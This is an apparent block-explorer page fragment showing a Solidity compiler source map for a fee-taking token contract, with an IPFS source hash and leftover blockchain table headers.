;;:4;;44215:1;;44210:7;;;;;;;;;;;:31;-1:-1:-1;;;;;44210:31:0;;;-1:-1:-1;;;;;44210:31:0;;;;;44254:62;44271:4;44286:15;44304:11;44254:8;:62::i;:::-;44355:15;-1:-1:-1;;;;;44355:66:0;;44436:11;44462:1;44506:4;44533;44553:15;44355:224;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;44355:224:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;44000:587;;:::o;44599:512::-;44747:62;44764:4;44779:15;44797:11;44747:8;:62::i;:::-;45056:6;;44852:251;;;-1:-1:-1;;;44852:251:0;;44924:4;44852:251;;;;;;;;;;-1:-1:-1;44852:251:0;;;;;;;;;;-1:-1:-1;;;;;45056:6:0;;;44852:251;;;;45077:15;44852:251;;;;;;:15;:31;;;;;;44891:9;;44852:251;;;;;;;;;;;;;;44891:9;44852:31;:251;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;39895:93;39943:5;;;;39938:19;;39950:7;;39938:19;39967:5;:13;;-1:-1:-1;;39967:13:0;;;39895:93;:::o;47363:697::-;47466:23;47491:14;47507:12;47521:18;47541:12;47557:20;47569:7;47557:11;:20::i;:::-;47465:112;;;;;;;;;;47589:15;47606:23;47631:12;47647:55;47659:7;47668:15;47685:4;47691:10;:8;:10::i;:::-;47647:11;:55::i;:::-;47588:114;;;;;;47731:44;47751:7;47731:44;;;;;;;;;;;;;-1:-1:-1;;;47731:44:0;;;:7;:15;47739:6;-1:-1:-1;;;;;47731:15:0;-1:-1:-1;;;;;47731:15:0;;;;;;;;;;;;;:19;;:44;;;;;:::i;:::-;-1:-1:-1;;;;;47713:15:0;;;;;;:7;:15;;;;;;;;:62;;;;47804:44;;;;;;;;;;-1:-1:-1;;;47804:44:0;;;;:15;;;:7;:15;;;;;;;:44;;47824:7;;47804:19;:44::i;:::-;-1:-1:-1;;;;;47786:15:0;;;;;;;:7;:15;;;;;;:62;;;;47880:18;;;;;;;:39;;47903:15;47880:22;:39::i;:::-;-1:-1:-1;;;;;47859:18:0;;;;;;:7;:18;;;;;:60;47930:34;47939:6;47947:4;47953:10;47930:8;:34::i;:::-;47975:17;47987:4;47975:11;:17::i;:::-;48025:9;-1:-1:-1;;;;;48008:44:0;48017:6;-1:-1:-1;;;;;48008:44:0;;48036:15;48008:44;;;;;;;;;;;;;;;;;;47363:697;;;;;;;;;;;:::o;46662:693::-;46763:23;46788:14;46804:12;46818:18;46838:12;46854:20;46866:7;46854:11;:20::i;:::-;46762:112;;;;;;;;;;46886:15;46903:23;46928:12;46944:55;46956:7;46965:15;46982:4;46988:10;:8;:10::i;46944:55::-;46885:114;;;;;;47028:44;47048:7;47028:44;;;;;;;;;;;;;-1:-1:-1;;;47028:44:0;;;:7;:15;47036:6;-1:-1:-1;;;;;47028:15:0;-1:-1:-1;;;;;47028:15:0;;;;;;;;;;;;;:19;;:44;;;;;:::i;:::-;-1:-1:-1;;;;;47010:15:0;;;;;;;:7;:15;;;;;;;;:62;;;;47104:18;;;;;:7;:18;;;;;:39;;47127:15;47104:22;:39::i;:::-;-1:-1:-1;;;;;47083:18:0;;;;;;:7;:18;;;;;;;;:60;;;;47175:7;:18;;;;:39;;47198:15;47175:22;:39::i;46034:620::-;46133:23;46158:14;46174:12;46188:18;46208:12;46224:20;46236:7;46224:11;:20::i;:::-;46132:112;;;;;;;;;;46256:15;46273:23;46298:12;46314:55;46326:7;46335:15;46352:4;46358:10;:8;:10::i;46314:55::-;46255:114;;;;;;46398:44;46418:7;46398:44;;;;;;;;;;;;;-1:-1:-1;;;46398:44:0;;;:7;:15;46406:6;-1:-1:-1;;;;;46398:15:0;-1:-1:-1;;;;;46398:15:0;;;;;;;;;;;;;:19;;:44;;;;;:::i;48068:768::-;48171:23;48196:14;48212:12;48226:18;48246:12;48262:20;48274:7;48262:11;:20::i;:::-;48170:112;;;;;;;;;;48294:15;48311:23;48336:12;48352:55;48364:7;48373:15;48390:4;48396:10;:8;:10::i;48352:55::-;48293:114;;;;;;48436:44;48456:7;48436:44;;;;;;;;;;;;;-1:-1:-1;;;48436:44:0;;;:7;:15;48444:6;-1:-1:-1;;;;;48436:15:0;-1:-1:-1;;;;;48436:15:0;;;;;;;;;;;;;:19;;:44;;;;;:::i;:::-;-1:-1:-1;;;;;48418:15:0;;;;;;:7;:15;;;;;;;;:62;;;;48509:44;;;;;;;;;;-1:-1:-1;;;48509:44:0;;;;:15;;;:7;:15;;;;;;;:44;;48529:7;;48509:19;:44::i;40000:64::-;40044:5;:12;;-1:-1:-1;;40044:12:0;40052:4;40044:12;;;40000:64::o;36908:518::-;37073:5;;36968:23;;;;;;;;;;37073:5;;37068:67;;-1:-1:-1;37103:7:0;;-1:-1:-1;37112:1:0;;-1:-1:-1;37112:1:0;;-1:-1:-1;37112:1:0;;-1:-1:-1;37112:1:0;37095:28;;37068:67;37154:30;37180:3;37154:21;37166:8;;37154:7;:11;;:21;;;;:::i;:30::-;37145:39;;37202:28;37226:3;37202:19;37214:6;;37202:7;:11;;:19;;;;:::i;:28::-;37195:35;;37254:34;37284:3;37254:25;37266:12;;37254:7;:11;;:25;;;;:::i;:34::-;37241:47;;37306:28;37330:3;37306:19;37318:6;;37306:7;:11;;:19;;;;:::i;:28::-;37299:35;-1:-1:-1;37363:55:0;37299:35;37363:45;37397:10;37363:45;37387:4;37363:45;:7;37375:6;37363:11;:19::i;:::-;:23;;:29::i;:55::-;37345:73;;36908:518;;;;;;;;:::o;37438:374::-;37558:7;;;;37614:24;:7;37626:11;37614;:24::i;:::-;37596:42;-1:-1:-1;37649:23:0;37675:32;:15;37695:11;37675:19;:32::i;:::-;37649:58;-1:-1:-1;37718:12:0;37733:21;:4;37742:11;37733:8;:21::i;:::-;37773:7;;37782:15;;-1:-1:-1;37773:7:0;;-1:-1:-1;37438:374:0;-1:-1:-1;;;;;;37438:374:0:o;38588:1295::-;38675:19;38698:10;:8;:10::i;:::-;38675:33;-1:-1:-1;38719:18:0;38740:27;:10;38675:33;38740:14;:27::i;:::-;38719:48;-1:-1:-1;38778:14:0;38795:23;:6;38806:11;38795:10;:23::i;:::-;38778:40;-1:-1:-1;38829:12:0;38844:21;:4;38853:11;38844:8;:21::i;:::-;38879:12;:19;38829:36;;-1:-1:-1;38879:23:0;38876:211;;38933:12;:19;38921:8;;:31;38918:82;;38983:1;38972:8;:12;38918:82;39028:12;39041:8;;39028:22;;;;;;;;;;;;;;;;;;39014:11;:36;;-1:-1:-1;;;;;;39014:36:0;-1:-1:-1;;;;;39028:22:0;;;39014:36;;;;;;39065:8;:10;;39028:22;39065:10;;;38876:211;39138:4;39122:22;;;;:7;:22;;;;;;:38;;39149:10;39122:26;:38::i;:::-;39113:4;39097:22;;;;:7;:22;;;;;;;;:63;;;;39174:11;:26;;;;;;39171:121;;;39258:4;39242:22;;;;:7;:22;;;;;;:38;;39269:10;39242:26;:38::i;:::-;39233:4;39217:22;;;;:7;:22;;;;;:63;39171:121;39333:11;;-1:-1:-1;;;;;39333:11:0;39325:20;;;;:7;:20;;;;;;:30;;39350:4;39325:24;:30::i;:::-;39310:11;;;-1:-1:-1;;;;;39310:11:0;;;39302:20;;;;:7;:20;;;;;;;;:53;;;;39382:11;;;;;39370:24;;:11;:24;;;;;;;39366:110;;;39442:11;;-1:-1:-1;;;;;39442:11:0;39434:20;;;;:7;:20;;;;;;:30;;39459:4;39434:24;:30::i;:::-;39419:11;;-1:-1:-1;;;;;39419:11:0;39411:20;;;;:7;:20;;;;;:53;39366:110;39519:13;;-1:-1:-1;;;;;39519:13:0;39511:22;;;;:7;:22;;;;;;:34;;39538:6;39511:26;:34::i;:::-;39494:13;;;-1:-1:-1;;;;;39494:13:0;;;39486:22;;;;:7;:22;;;;;;;;:59;;;;39572:13;;;;;39560:26;;:11;:26;;;;;;;39556:118;;;39636:13;;-1:-1:-1;;;;;39636:13:0;39628:22;;;;:7;:22;;;;;;:34;;39655:6;39628:26;:34::i;:::-;39611:13;;-1:-1:-1;;;;;39611:13:0;39603:22;;;;:7;:22;;;;;:59;39556:118;39688:10;;39684:94;;39744:13;;39720:46;;;;;;;;-1:-1:-1;;;;;39744:13:0;;;;39737:4;;39720:46;;;;;;;;;;39684:94;39792:8;;39788:88;;39846:11;;39822:42;;;;;;;;-1:-1:-1;;;;;39846:11:0;;;;39839:4;;39822:42;;;;;;;;;;39788:88;38588:1295;;;;;;;:::o;36796:104::-;36860:32;;;;;;;;;;;;-1:-1:-1;;;36860:32:0;;;;:7;;:32;;36872:4;;36860:11;:32::i;:::-;36850:7;:42;-1:-1:-1;36796:104:0:o

Swarm Source

ipfs://b386e0f573de7e65642280be1d62e32d7d6fce7bacc55c9b37f5dfa22d6c4045
Block Transaction Gas Used Reward
Age Block Fee Address Jailed Incoming
Block Uncle Number Difficulty Gas Used Reward
Loading
Loading